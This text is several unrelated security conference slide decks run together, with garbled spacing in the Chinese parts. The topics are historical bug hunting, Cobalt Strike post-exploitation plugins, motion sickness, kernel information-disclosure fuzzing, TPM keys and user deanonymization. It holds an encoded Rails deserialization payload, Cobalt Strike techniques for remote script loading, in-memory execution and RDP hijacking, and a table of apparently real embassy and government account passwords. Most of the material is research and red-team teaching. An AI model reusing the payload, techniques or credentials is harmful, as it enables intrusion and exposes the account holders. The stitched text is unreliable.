历史漏 洞, 也可以去看看 ColdFusion持续爆 发了多个高危漏 洞。 02 总 结 和归纳 优势 : 1. 入门门槛低, 知道 漏 洞原 理 、花 费时 间就 可以了 2. 认真 +全面排 查 , 就 可以找到漏 网之鱼 3. 我们 只需 要比 修复人员 更 专业就 可以了 但是 捡 漏 是不 可能 一辈子捡 漏 的! 学 习漏 洞利用方法, 总 结 共性 来 达到对同 一类漏 洞的深 刻认知 例如 : Linux下的LD_PRELOAD动 态库劫持 在 曾 经爆 发过的 Mysql, Nginx提权中也被用到过 是否还可以在 其它 软件中存 在 类似的问 题? 如 果 被过滤了, 我们 是否还可以有别的绕 过方式 ? 一般 的修复方式 是什么? 会不 会还有问 题? 如 果 有问 题, 我们 可以怎么绕 过? 学 习漏 洞中的技术/手法, 触 类旁 通 举个: Json Web Token eyJhbGciOiJIUzI1NiIsInR5cCI6Ikp XVCJ9.eyJzdWIiOiIxMjM0NTY3O DkwIiwibmFtZSI6IkpvaG4gRG9lIi wiaWF0IjoxNTE2MjM5MDIyfQ.Sf lKxwRJSMeKKF2QT4fwpMeJf36P Ok6yJV_adQssw5c { "alg": "HS256", "typ": "JWT" } { "sub": "1234567890", "name": "John Doe", "iat": 1516239022 } HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), your-256-bit-secret ) eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHZPa0JCWTNScGRtVlRkWEJ3YjNKME9qcEVaWEJ5WldOaGRHbHZiam82UkdWd2NtVmpZ WFJsWkVsdWMzUmhibU5sVm1GeWFXRmliR1ZRY205NGVRazZEa0JwYm5OMFlXNWpaVzg2Q0VWU1FnZzZDVUJ6Y21OSklpMXpl WE4wWlcwb0oySmhjMmduTENjdFl5Y3NKM1J2ZFdOb0lDOTBiWEF2YzNWalkyVnpjeWNwQmpvR1JWUTZEa0JtYVd4bGJtRnRaV WtpQmpFR093bFVPZ3hBYkdsdVpXNXZhUVk2REVCdFpYUm9iMlE2QzNKbGMzVnNkRG9KUUhaaGNra2lERUJ5WlhOMWJIUUdPd2 xVT2hCQVpHVndjbVZqWVhSdmNrbDFPaDlCWTNScGRtVlRkWEJ3YjNKME9qcEVaWEJ5WldOaGRHbHZiZ0FHT3dsVSIsImV4cCI6bn VsbCwicHVyIjoiYmxvYl9rZXkifX0=--0d52814f4775a7e6d4b0ba414443e9d1736f17e2 缺点 : 对系 统性的挖掘漏 洞帮 助很小 03 提升和突破 敢于 尝试新事物 , 不 要停留 在 舒适区 攻击面有多大 , 在 于 你了解多少东 西 严格说, 是连接 端问 题, 并不 属于 任何一种web漏 洞 但是具体到PHP这 个语 言, 甚 至 可以找到一系 列可能 影 响后 台的方法 Mysql Client 读文 件问 题 读取 敏 感 文 件 -> 通 过获取 的敏 感 key实现getshell Mysql Client 读文 件问 题 通 过phar读取 文 件 -> 获得一个反序 列化漏 洞 结 合 soapclient类, 通 过反序 列化实现ssrf 总 结 归纳 历史漏 洞是指 引 系 统性挖掘漏 洞的方向 了解已有技术的原 理 有助于 在 新区域漏 洞挖掘 对于 漏 洞相 关漏 洞而言, 善于 联 想、类比 、尝试往往会有收获 了解原 理 -> 找到 XXXX的EOP漏 洞 ( 0day) Git for VS EOP ( CVE-2019-1211) patch bypass Demo
pdf
Author:z3r0yu CobaltStrike 插件开发 目录 CONTENTS 1. 概述 2. Sleep 语言相关 3. Aggressor Script 相关 4. 总结 概 述 01 CobaltStrike 插件的编写主要是使用agscript(Aggressor Script),这个CobaltStrike 3.0之后内置的脚 本语言。agscript是基于 Sleep 语言进行二次开发的。Sleep 是一种深受Perl启发的基于Java的脚本语言。 所以在开始编写 CobaltStrike 之前我们必须要了解 Sleep 语言的语法和agscript中内置的各种函数。 Sleep 开发手册: http://sleep.dashnine.org/manual/ agscript 开发手册: https://trial.cobaltstrike.com/aggressor-script/index.html 01 概述 Sleep 语言相关 02 1.1 Sleep 强制要求语句之间要包含空格 1.2 warn 函数助力debug warn可以详细的输出对应代码的错误信息,可以帮助你定位有问题的地方。当然使用熟悉的println也是可以的。 PS: getStackTrace() 可以获取函数的调用栈 1.3 debug 函数输出详细的debug信息 1. 注意事项 2.1 常见变量 使用@和%字符即可创建数组和字典,数组和字典不仅可以引用其他数组和字典,还可以可以引用自己。 Sleep会插入双引号的字符串,这意味着以$符号开头的任何以空格分隔的标记都将替换为其值。注意 “$+”号可以用于将 插字符串与另一个值连接起来。 2.1 常见变量 (1) 数组操作 -创建 注意:这里赋值给的是 $a 变量,而 stack,queue和 list类型的变量都是 @a 是 @ 符号开头的 2.2 常见对变量的操作 (1) 数组操作 - 遍历数组 - 添加和删除元素 2. 2 常见对变量的操作 (2) 字典操作 - 创建 - 删除字典的某个key 2. 2 常见对变量的操作 (2) 字典操作 - 遍历字典 2. 2 常见对变量的操作 (3) Stacks(栈)操作 -- 先入后出类型 - 入栈操作 - 出栈操作 2. 2 常见对变量的操作 (4) Queues(堆)操作 -- 先入先出类型 2. 2 常见对变量的操作 (5) List 操作 -- 可以切片 2. 2 常见对变量的操作 (6) 字符串操作 --基础操作 2. 2 常见对变量的操作 (6) 字符串操作 --逻辑操作 2. 2 常见对变量的操作 (1) 逻辑连接词 2. 3 常见逻辑操作 (2) 类型判断关键词 2. 3 常见逻辑操作 (3) if 语句 --常规 2. 3 常见逻辑操作 (3) if 语句 --iff操作符 2. 3 常见逻辑操作 (4) 循环语句 -- while 循环 2. 3 常见逻辑操作 (4) 循环语句 -- for 循环 2. 3 常见逻辑操作 (4) 循环语句 -- foreach循环 2. 3 常见逻辑操作 (5) 异常处理 -- throw 语句 2. 3 常见逻辑操作 (5) 异常处理 -- warn 语句 2. 3 常见逻辑操作 (5) 异常处理 --异常捕获 2. 3 常见逻辑操作 使用sub字符即可声明函数,传给函数的参数标 记为$1,$2,一直到$n。函数可以接受无数个参 数。 变量@_是一个包含所有参数的数组,$1, $2等变量的更改将改变@_的内容。 2.4 函数创建与调用 2.5 文件操作 AgScript 相关 03 VSCode + Cobalt Strike Aggressor Script 插件@Twi1ight 3.1 开发环境 3.2交互式的脚本控制台使用 3.2交互式的脚本控制台使用 如果想命令行直接执行脚本的话可以使用如下命令 3.2交互式的脚本控制台使用 比如这里我在 headless cobaltstrike 的模式下之行一个脚本并获取输出 2.1 ready 事件 当这个CobaltStrike客户端连接到团队服务器并准备采取行动时触发。常用于测试一些功能的时候。比如下列脚本是一 个测试 foreach 语句的脚本,我们常用 agscript 来启动 headless 模式的 CobaltStrike 进行测试。 3.3 aggressor脚本中常用的内置事件和函数 2.2 command 关键字 你可以使用command关键字来注册命令。注册之后的命令可以通过控制台接收来自用户的输入来触发。 示例代码 执行效果 3.3 aggressor脚本中常用的内置事件和函数 2.3 指定颜色 如果你想给Cobalt Strike的控制台添加一些色彩,通过\c,\U和\o转义即可告诉Cobalt Strike如何格式化文本。 值得 提醒的是这些转义仅在双引号字符串内有效。\cX就是告诉Cobalt Strike你想输出什么颜色,X是颜色的值。U是告诉控 制台添加下划线,\o则是重置这些花里胡哨的东西。 示例代码 3.3 aggressor脚本中常用的内置事件和函数 2.4 bind 关键字 bind 关键字用于绑定快捷键,快捷键可以是任何ASCII字符或特殊键,快捷方式可能会应用一个或多个修饰符,修饰符 修饰符仅为以下几个特定按键:Ctrl,Shift,Alt,Meta。脚本可以指定修饰符+键(注意中间不要加空格)。 3.3 aggressor脚本中常用的内置事件和函数 2.5 Popup Hooks -- 事件一览 Cobalt Strike 提供了众多的hook来让你可以自定义或 者重定义你想要的功能。 3.3 aggressor脚本中常用的内置事件和函数 2.5 Popup Hooks --顶部菜单栏布局 比如这里我们给help菜单加一些功能选项进去 3.3 aggressor脚本中常用的内置事件和函数 2.5 Popup Hooks --顶部菜单栏布局 如果我们想要在顶栏增加新的菜单栏进去,就要用到 menubar,通常我会把bypass AV的相关功能写到顶栏中去。 menu 是用于新加菜单。separator()函数则是新加分割线。 3.3 aggressor脚本中常用的内置事件和函数 2.5 Popup Hooks --右键菜单栏布局 如果是想在对应session位置的右键菜单上添加功能,可以使用 beacon_bottom hook。AuskaKit套件的入口文 件 AuskaKit.cna 就是一个很好的例子。include 函数是用于包含脚本文件,但是脚本文件需要通过 script_resource 函 数来进行读取。AuskaKit套件所有功能实现都包含在对应的modules下面的cna脚本文件中。 3.3 aggressor脚本中常用的内置事件和函数 2.5 Popup Hooks -- filebrowser hook 的使用示例 我在这里想要将常见的隐藏文件和显示文件加入到文件浏览器功能中去,那么我就可以 hook filebrowser 来完成这个功 能。 3.3 aggressor脚本中常用的内置事件和函数 2.5 Popup Hooks -- beacon_output hook 输出格式控制 我们这里可以使用 beacon_output 来对输出的内容做一些格式化或者输出控制 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- bshell && brun 执行Windows系统命令 bshell 是常用的实现系统命令执行的函数之一,毕竟能用系统命令执行的功能就不要引入第三方工具来实现了。与之相 类似的还有 brun,区别在于 brun 是基于 bpowershell 和 bshell 构建的,是一个(稍微)更安全的opsec方式,用于运 行命令并从它们接收输出。 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- bshell && brun 执行Windows系统命令 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- bpowershell 与 bpowershell_import 执行PowerShell相关操作 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- bpowershell 与 bpowershell_import 执行PowerShell相关操作 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- bpowershell 与 bpowershell_import 执行PowerShell相关操作 利用powershell我们可以做更多的事情,比如让对方的主机弹出一个聊天框,内容就可以自己定了,哈哈哈。 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- bpowershell 与 bpowershell_import 执行PowerShell相关操作 利用powershell我们可以做更多的事情,比如让对方的主机弹出一个聊天框,内容就可以自己定了,哈哈哈。 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- bpowershell 与 bpowershell_import 执行PowerShell相关操作 当然因为 bpowershell 执行的命令长度有限制,所以我们往往使用 bpowershell_import 来远程加载一个 powershell 脚本,之后借助 bpowerpick 来执行powershell脚本中对应的功能。比如在域渗透中最常用的一个脚本 PowerView.ps1, 我们导入这个脚本来实现获取域信息的功能。 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- bpowershell 与 bpowershell_import 执行PowerShell相关操作 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- bpowershell 与 bpowershell_import 执行PowerShell相关操作 beacon_host_script 在Beacon中本地托管一个PowerShell脚本,并返回一个简短的脚本,下载并调用这个脚本。当你 的PowerShell单行代码的长度受到限制时,这个函数是运行大型脚本的一种方式。(其实就是可以远程下载并调用一个 PowerShell脚本)。因为 Auskakit的具体功能都是在本地,远程加载要根据具体情况来,所以这个我并没有用到,如果 大家有需要可以自己选用。 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- bexecute_assembly 内存加载执行.NET程序 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- bexecute_assembly 内存加载执行.NET程序 例如我们内存加载 SharpOXID-Find来实现一个 OXID 扫描多网卡主机的功能。 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- BOF 程序的加载 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- BOF 程序的加载 BOF的调用常常会写成终端命令的方式来进行调用,这种方式也更加的快捷和方便,缺点就是功能增多之后,输入 help 就会发现有一堆命令。下一步有时间的话会对 helpx 进行进一步的改改造,使其更为美观和加入命令分组。 基本的执行流程中需要的重点函数就是下面这些了 beacon_command_register 进行命令的注册(主要是执行说明信息的补充)。 alias 来声明(or 定义)一个命令。 bof_pack 以适合BOF api解包的方式打包参数。 $handle = openf(script_resource("test.o")) 导入 BOF 脚本 readb($handle, -1) 从 $handle 中读取全部字节的内容 beacon_inline_execute 执行 BOF 文件 这里就用 bof-rdphijack 做一个示例,基本的流程和使用就如下述所示。 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions -- BOF 程序的加载 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions --其他类型语言的加载方式 除了 powershell、.NET和BOF三种类型的程序可以通过内存加载等方式加载执行外,现在还有诸如 NIM 、 Go等语言 编写的工具也是十分常见的(例如 fscan、frp 等)。但是没有很直接的方法来让这些程序不落地执行,对于这种情况就 需要我们将对应的程序上传(使用 bupload)到目标系统中,然后去执行(使用 bshell 或者 brun)。 PS: Go语言是可以嵌入到 C# ,从而再去搞内存加载执行的。这个超出了本主题所探讨的范围,所以暂时不考虑。 3.3 aggressor脚本中常用的内置事件和函数 2.6 Functions --其他类型语言的加载方式 3.3 aggressor脚本中常用的内置事件和函数 总 结 04 aggressor 脚本基于的 sleep 语言其实并不复杂,我个人感觉其实写Cobalt Strike插件其实都是在做粘结剂或者更像是 在写笔记,将那些好的工具或者技术思路便捷的带入到后渗透过程中去。 Asukakit 自从诞生以来,在多次 RedTeam 仿真中均取得了不错的效果,多次迭代之后功能得到了进一步的完善,BUG 也基本修复的差不多了。希望大家可以继续踊跃的贡献思路或者代码,做一个看得过去的后渗透测试工具套件并不难, 难得是将每一个操作都尽量的OPSEC化,并将攻击的反制方式也考虑进去,带着被反制的思路去完善后渗透测试工具套 件才是正确之路。 Asukakit 的最新版本会更新在OverSpace团队内部和【安全技能补完计划】知识星球内部,【Awesome-CobaltStrike】 将会在Github上给出最近一年内的更新。 04 总结 THANK YOU!
pdf
Good Vibrations: Hacking Motion Sickness on the Cheap INTRODUCTION Motion Sickness • No universally accepted definition • Defined by signs and symptoms, which varies • Agreed that it came about when man first tried to improve natural mobility • Greeks had first recorded account, occurred at sea – Where the term nausea came from • “naus-” meaning of the sea • “-ea” being related to sick Statistics • 90% of the world’s population suffer from it at one point in their lives • 300 million sufferers live in the U.S. – 9 to 75 have debilitating response – 2 million are forced to visit a doctor Susceptability • Predisposition to motion sickness can be inherited • Some races can be more effected than others Types of Motion Sickness • Car sickness • Air sickness (occurs in an aircraft of some sort) • Sea sickness • Simulation sickness Disproven Theories • “Blood and Guts” • Result of Respiratory Issues • Reaction to shock to the central and autonomic nervous systems • Infection similar to Cholera and Yellow Fever • Overstimulation FOVEAL SLIP THEORY Overview of Foveal Slip • Fixation disparity leads to lack of visual acuity • Occurs when there is a misalignment of the eye • Can be horizontal and/or vertical • Results in over- or under-convergence of eyes at a fixation point • Misalignment of the fovea is only a few arcminutes – One-sixtieth (1/60) of a degree • Foveal slip eventually leads to depth perception problems Fovea • Located in the center of the Macula region – Oval-shaped, yellow spot – Near the center of the retina • Responsible for central vision – Reading – Driving – Watching tv or movies Foveal Slip and Motion Sickness It’s hypothesized that motion sickness that occurs during opti-kinetic stimulation is a result of foveal slip. As a result, an increase of foveal slip more often than not results in an increase of symptoms associated with motion sickness. MOTOR-SENSORY CONFLICT THEORY The Theory States that motion sickness is a defense mechanism against neurotoxins and is triggered when sensory information (usually visual) about the body’s position and movement is contradictory to the movement that is being sensed by your vestibular system, resulting in your body being unable to reach a state of homeostasis (basically a sense of balance). Vestibular System • Responsible for our balance and sense of spatial orientation • Movement causes fluid from the endolymphatic sac to push against the cupula • Cupula has hairs that translates mechanical movement into electrical signals For the engineers… • The semicircular canals can be compared to a damped oscillator: • For humans, the time constants T1 and T2 are approximately 3 ms and 5 s, respectively. • For typical head movements, which cover the frequency range of 0.1 Hz and 10 Hz, the deflection of the cupula is proportional to head-velocity. • The velocity of the eyes must be opposite to the velocity of the head in order to have clear vision. CURRENT PREVENTION TECHNIQUES AND “TREATMENT” Prevention • Sitting where motion is felt the least • Don’t read • Keeping head and body still • Face forward in a reclining position • Keep eyes on the horizon • Keep window open • Don’t drink or smoke • Eating small, low-fat, bland, and starchy foods Natural Healing • Powder or liquid ginger • Use acupuncture, acupressure, or mild electrical pulse at: – Neiguian or Pericardium (3 finger widths above the wrist) – Small intestine 17 (just below the earlobes, in the indentations behind the jawbone) Drugs! • Diphenhydramine – Active ingredient in sleep aids – Cannot be used with infants – Not good for elderly, pregnant, or breast-feeders – Not good for people with glaucoma, heart disease, constipation, or enlarged prostate Drugs! (Cont.) • Antihistamines – Most effective 30-60 minutes before a trip – Side effect: drowsiness and less alert – Shouldn’t be used by people with emphysema or bronchitis DAS GOODS Auroscillator • Little box that produces a sound in the .01-10 kHz range • Works using the motor-sensory theory as a basis • It imitates the moving of your head in order to trick the brain Material list, cost and schematics to be shown during the presentation. Stroboscopic Glasses • Lights flash at 20 Hz with 8 ms dwell time • Mounted just outside the wearer’s peripheral vision • Shouldn’t cause epileptic seizures • Prevents your eyes from going into a foveal slip Material list, cost and schematics to be shown during the presentation. EOF Questions? Comments? Tottenkoph(at)tottenkoph[dot]com
pdf
How to Find 12 Kernel Information Disclosure Vulnerabilities in 3 Months Tanghui Chen, Long Li | Baidu Security Lab 2019 Contents 0. Who am I? 1. Understanding Vulnerabilities 2. Vulnerability Analysis • Heap and stack data poisoning • Vulnerability detection techniques • CVE Analysis 3. Results Who am I? • Senior Security R&D Engineer at Baidu Security Lab • Has been engaged in Windows Kernel Security Development for years • Rootkit expert • Accidentally involved in the field of vulnerability research Tanghui Chen [email protected] What is the Kernel Information Disclosure Vulnerability? There are many information disclosure vulnerabilities in Windows kernel that may lead to the ASLR bypass or critical system information disclosure, which can be exploited by attackers to reveal confidential information such as: • Encryption keys • Kernel objects • Key kernel module addresses • … Root Causes of the Vulnerability CVE-2018-8443 1. Call ZwDeviceIoControlFile (..., 0x7d008004, Output,…) in user mode 2. ZwDeviceIoControlFile switches to kernel mode after system call 3. Output contains the uninitialized data in kernel stack after returning to the user mode System Calls Information Disclosure Memory Space API/Interface Interface Uninitialized data Kernel Object Pointer Module Base Address … Existing Vulnerability Mining Techniques • BochsPwn ❑ CPU emulator • DigTool ❑ Heavyweight VT techniques • Instrumentation Discovering Information Disclosure Vulnerability 1.Poison kernel heap and stack data, and fill padding flag data 2.Data is checked at a certain time when the application layer memory is written. If there is padding flag data in the memory, it’s possible a vulnerability exists. 3. Analyze and confirm the vulnerability Memory Checkpoint Detect 1. Stack/Heap Poisoning 2. Data Detection 3. Vulnerability Analysis Step 1: Heap/Stack Data Poisoning Techniques • Hook KiFastCallEntry, Kernel Stack Poisoning • Hook ExAllocatePoolWithTag, Kernel Heap Poisoning • Fill the heap and stack memory data with padding flag data, such as AA In the Hook KiFastCallEntry, get kernel stack memory by IoGetStackLimits, and fill padding flag data IoGetStackLimits(&LowLimit, &HighLimit); __asm{ xor eax, eax; mov al, g_cFlags; //0xAA mov edi, LowLimit; mov ecx, Esp_Value; sub ecx, LowLimit; cld; rep stosb; } Stack Poisoning Fill padding flag data when calling ExAllocatePoolWithTag to allocate memory PVOID NTAPI HOOK_ExAllocatePoolWithTag(...) { PVOID Buffer = NULL; Buffer = pfn_ExAllocatePoolWithTag(PoolType, NumberOfBytes, Tag); if (Buffer){ memset(Buffer, g_cFlags, NumberOfBytes); //将内存初始化特殊数据,如0xAA } return Buffer; } Heap Poisoning Thoughts on Heap and Stack Data Poisoning • Heap and stack data poisoning techniques are relatively simple, there is no good or bad techniques • If the memory has data that is the same as the poisoned data, it’s possible to receive false positives. • Therefore, using variable padding flag data for poisoning can help reduce false positives. Step 2: Research on Data Detection Techniques Currently we have CPU emulator and VT data detection techniques. Are there more and better techniques? Data Detection Techniques Research We came up with three techniques for data detection based on our research: • Nirvana (first time being used in kernel information disclosure vulnerability mining) • memcpy/memmove, referred to as memcpy (most lightweight technique) • movs Nirvana is a lightweight, dynamic translation framework provided by Microsoft that can be used to monitor and control the (user mode) execution of a running process without needing to recompile or rebuild any code in that process (from Hooking Nirvana@Alex Ionescu). This is the first time Nirvana being used in kernel information disclosure vulnerability mining. Nirvana can be used to set the callback function when the system call returns to the user mode, and the stack data can be detected in the callback function. ZwSetInformationProcess(NtCurrentProcess(),ProcessInstrumentationCallback,&Info64,sizeof(Info64)); typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION{ ULONG_PTR Version; ULONG_PTR Reserved; ULONG_PTR Callback; }PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION Nirvana: Overview __declspec (naked) VOID InstrumentationCallback() { __asm{ //The code is omitted... mov eax, fs:[0x8]; mov edi, fs:[0x4]; __loop: cmp dword ptr[eax], g_cFlag; //如0xAAAAAAAA jz __find; add eax, 4; cmp eax, edi; //The code is omitted... jmp dword ptr fs : [0x1B0]; } } Nirvana: Implementation The scene captured by Nirvana 16 Nirvana: Pros • Nirvana is supported by Windows Vista and later systems • Implementation is easy by using the system provided interface • Good compatibility Nirvana: Cons • Can only detect stack data, almost impossible to detect heap data • It is relatively difficult to analyze and develop POC without catching the real-time disclosure of information memcpy: Overview • memcpy/memmove is being used for copying data from kernel space kernel space user space 用户态内存 内核态内存 memcpy(dst, src, size); 检测 Hook memcpy/memmove,detect whether dst is user mode address and whether the data includes padding flag data void * __cdecl HOOK_memcpy( void * dst, void * src, size_t count) { //代码有省略... if ((ULONG_PTR)dst < MmUserProbeAddress){ pOffset = (PUCHAR)src; while (pOffset <= (PUCHAR)src + count - sizeof(DWORD)){ if (*(DWORD *)pOffset == g_dwDwordFlags){ //checked } }} //代码有省略... } memcpy: Implementation memcpy: Features • Easy to implement, outstanding performance with almost no performance loss • Good compatibility • Being able to catch the first scene of the vulnerability, analyzing and writing POC is simple • Outstanding advantages, few flaws Memcpy in-depth study • If size is a variable,nt calls memcpy directly • If size is constant, memcpy is optimized • If size is a large constant, memcpy is optimized to movsd • Memmove will not be optimized Exploring movs • memcpy optimizations • Eventually compiled into movs instructions • Detecting data using mpvs can resolve the insufficient memcpy coverage problem in some rare cases movs: Implementation • movs dst, src; (F3A5) int 20h; (CD20) are two bytes • Scan the nt module and replace all movs with int 20h • Customize int 20h interrupt handler, KiTrap20 • Detecting memory data in KiTrap20 if (*(WORD *)pOffset == 0xA5F3){ //rep movs dword ptr es:[edi],dword ptr [esi] MdlBuffer = GetMdlBuffer(&Mdl, pOffset, 2); *(WORD *)MdlBuffer = 0x20CD;//int 20 } __declspec (naked) VOID HOOK_KiTrap20() { __asm { //The code is omitted... pushfd; pushad; call DetectMemory; popad; popfd; rep movs dword ptr es:[edi], dword ptr[esi]; iretd; } //The code is omitted... } movs: Implementation VOID DetectMemory(PVOID DestAddress, PVOID SrcAddress, SIZE_T Size) { //The code is omitted... if ((ULONG_PTR)DestAddress < MmUserProbeAddress){ pOffset = (PUCHAR)SrcAddress; if (*(ULONG_PTR *)pOffset == g_dwDwordFlags){ //checked } //The code is omitted... } } movs: Implementation movs: Features • Data detection is more comprehensive than memcpy coverage • Ability to capture the vulnerability real-time and easy to analyze/develop the POC Step 3: Vulnerability Analysis • Use live debugging for analysis and confirmation when a vulnerability is captured. • Switch to user mode. If the padding flag data exists in user mode memory, it is safe to confirm a kernel information disclosure vulnerability exists. • Develop PoC based on analysis of callstack and reverse engineering of user mode code that issues the syscall. Vulnerability Analysis • Memories were copied multiple times for some of the vulnerabilities, which makes the POC analysis and development very difficult. • We implemented a set of memory tracking tools to assist our analysis, which can: • Memory trace • Memory conditional breakpoint CVE-2018-8443, a vulnerability detected in win10 17134 x64 CVE Analysis Go back to mpssvc.dll and verify that user-mode memory contains special tags. CVE Analysis Go back to mpssvc.dll and find the code that triggered the vulnerability CVE Analysis CVE Analysis Final completion of the POC CVE Analysis We discovered 12 windows kernel information disclosure vulnerability in three months, all have CVE assigned. 7 of the CVEs received the maximum bounty award $5,000 Results Thinking • Just so… • User mode memory read-only (remove PTE write bit) • Reverse tracking • … ? Thank you Tanghui Chen [email protected]
pdf
Protecting Data with Short- Lived Encryption Keys and Hardware Root of Trust Dan Griffin DefCon 2013 Time-Bound Keys Announcements • New tool: TimedKey.exe • New whitepaper: Trusted Tamperproof Time on Mobile Devices • Check out http://www.jwsecure.com/dan What does the NSA think? • The NSA has been public about: – Inevitability of mobile computing – Need to support cloud-based services – Even for use with secret data in the field • What works for them can work for you How does the cloud know… • Who you are? • Where you are? • Is your computer acting on your behalf? Device Integrity • A device is silicon • It might be pretending to be me • It might be pretending to be you • Define device integrity to be “truth telling” – Is the device faithfully asserting delegation? – Is it faithfully representing the user’s intent? Current Technology Landscape • Why are mobile devices less secure? – Inconvenience of good passwords – Current antivirus is not up to the task – User-owned (BYOD/consumerization trends) • But mobile devices do have security features – Screen lock – Secure storage – TrustZone & Trusted Execution Environment – Trusted Platform Module Mobile Vulnerabilities • Rootkits got harder, bad apps got much easier • Mobile threat landscape: – Easy to steal the device – Easy to steal services – Easy to install apps that steal data – Even remote eavesdropping What is needed to be secure? • Encrypt user data • Sandbox apps • Secure, measured boot (TPM) • Remote platform attestation How to use a hardware root of trust • Device receives TPM-bound token – Sends token to relying party to prove status – Token can carry decryption key as well • If device is measured to be insecure – The good guys win! – Need to reset machine to clean it What is Remote Attestation? • Remote attestation is enabled by the TPM – Can a server know the truth about the client? – Use root of trust to measure boot chain and configuration • Remote attestation is a means to the truth – The TPM attests to device attributes – Rootkit-resistant, though not perfect Remote Attestation Service (RAS) • Needs secure data from manufacturer or telco – Hashes of known good code • Only “early boot” code is hashed by the TPM • Still rely on traditional antivirus for user mode protection • The data/content provider must trust the RAS How does the RAS trust the Device? TPM BIOS Boot Loader Kernel Early Drivers Hash of next item(s) Boot Log [PCR data] [AIK pub] [Signature] Is remote attestation really secure? • Hardware root of trust within TPM (but might be firmware) • PCRs are accumulated in secure location • Send PCRs + boot log to RAS signed by TPM • TPM 2.0 time counter – Can be expressed as policy – What advantage does that give us? Time-based Authorization • Secure local time reduces attack surface • Devices now use authorization windows – Limit token lifetime – Otherwise, attacker can sleep the device, change the clock, continue to access data • Great way to protect downloaded data Mechanics of secure time • See our whitepaper: – Trusted Tamperproof Time on Mobile Devices – http://www.jwsecure.com/dan • Applicability to DLP and DRM TimedKey.exe Tool • Requires 32-bit Windows 8 with TPM 2.0 • See http://www.jwsecure.com/dan • CLI: C:\>TimedKey.exe TimedKey.exe - JW Secure Demo: Policy bound hardware keys CREATE : -c:[1024, 2048] -k:KeyFile {-decrypt -sign -t:60 -p:PIN} ENCRYPT : -e:ClearText -k:KeyFile -o:CipherFile DECRYPT : -d:CipherFile -k:KeyFile {-p:PIN} SIGN : -s:Data -k:KeyFile -o:SignFile {-p:PIN} VERIFY : -v:Data -k:KeyFile -i:SignFile Policy-Enforced File Access • BYOD • Download sensitive files • Leave device in taxi The threat model Known Threats • TPM setup on legacy devices = fail • TPM reset attacks • Hardware attacked, e.g., Black Hat – Given enough money it is always possible • Attacking the supply chain BitLocker Attacks • Cold boot, Firewire, BIOS keyboard • Keys in TPM can be used if PIN is weak • Incorrectly configured local DLP – E.g., Bitlocker can be set to Standby • Same considerations for similar apps What remains to be done? • Database of known-good hashes • Heuristics to determine provisional trust of new code • What measurements to enforce, and when? Thank you! • Dan Griffin is the founder of JW Secure and is a Microsoft Enterprise Security MVP. Dan is the author of the books Cloud Security and Control and The Four Pillars of Endpoint Security and is a frequent conference speaker and blogger. • Dan holds a Master’s degree in Computer Science from the University of Washington and a Bachelor’s degree in Computer Science from Indiana University. Supporting Files • http://fedscoop.com/gen-alexander-cloud- key-to-network-security/ • Endpoint Security and Trusted Boot http://www.jwsecure.com/jw-secure- informer-15/ • Hacking Measured Boot and UEFI at DefCon 20
pdf
1 Your logo here…  Robert “RSnake” Hansen - CEO  SecTheory LLC  http://www.sectheory.com  http://ha.ckers.org – the lab  http://sla.ckers.org – the forum  Joshua “Jabra”Abraham  Rapid7 LLC - Security Researcher  http://www.rapid7.com  http://blog.spl0it.org 2 3  Why does this matter?  Privacy advocacy  People think they’re safe  Privacy is not a guarantee. It can be taken from you.  True anonymity is actually extremely difficult to achieve!!  So we decided to attack users instead of websites for once. 4  Safety from trolls who want to drop docs  Safer for political dissidents  Safer for potential victims of violent crimes (women, children)…  Allows people to be themselves (for good or bad)  Safer for whistle blowers  Increases freedoms 5  Haven for “evildoers”  Allows them to attack easily  Allows them to retreat easily  Allows them to exfiltrate data easily  Hurts law enforcement  Prevents “social compact” rules of order from working in online contexts. 6  The ecosystem is too complex  IP is the “gold standard” for tracking people down on the Internet, but what if we could do better?  Let’s start with the basics of how people anonymize themselves. 7  Basic anonymization guide  Proxies:  CGI proxies  SOCKS Proxies  Tor  Hacked machines  Freemail  Hotmail  Gmail  Hushmail 8  Good/Normal Use  Improving the trust model  Client: has the cert in the browser  Servers: requires all clients have valid certs  What if the client goes to another website with SSL?  Browser defaults to send the public key  Well, could this be malicious?  Sniff the public key  Information  System/OS  Usernames/Emails  Data correlation  Tie a user back to a system 9 https://www.cs.uccs.edu/~cs591/secureWebAccess/fireFoxUserIDReq.png 10  100 embassy passwords  Breach proxy honeypots  Open Proxies you trust?  HackedTor.exe  Setup the Client  Tor node just logs everything  We can play MiTM like Jay Kazakhstan Embassy in Egypt 213.131.64.229 kazaemb piramid Mongolian Embassy in USA 209.213.221.249 [email protected] temp UK Visa Application Centre in Nepal 208.109.119.54 vfsuknepal@vfs-uk- np.com Password Defense Research & Development Organization Govt. Of India, Ministry of Defense [email protected] password+1 Indian Embassy in USA [email protected] 1234 Iran Embassy in Ghana 217.172.99.19 [email protected] accra Iran Embassy in Kenya 217.172.99.19 [email protected] kenya Hong Kong Liberal Party 202.123.79.164 miriamlau 123456 11  Browsers lie about having a same origin policy (or at least are terrible at enforcing it)  Plugins lie worse  Websites control browsers, not the other way around in a decloaking scenario - Bill Joy (Sun) 12  Mr T  Plugins  History  Screen Resolution  BeEF  VMware detection (IE only)  Plugin detection  (Java, Flash and Quicktime)  Setup script in Backtrack4  But…. The Cloud is the new Hotness! 13  VM Detection  VMware  QEMU  VirtualBox  Amazon EC2 Detection  Identify each region  Cross-Platform  New BeEF Module!  Leverage this knowledge in our attacks 14  Java  Java internal IP  Flash  scp:// (winSCP)  Word/pdf bugs  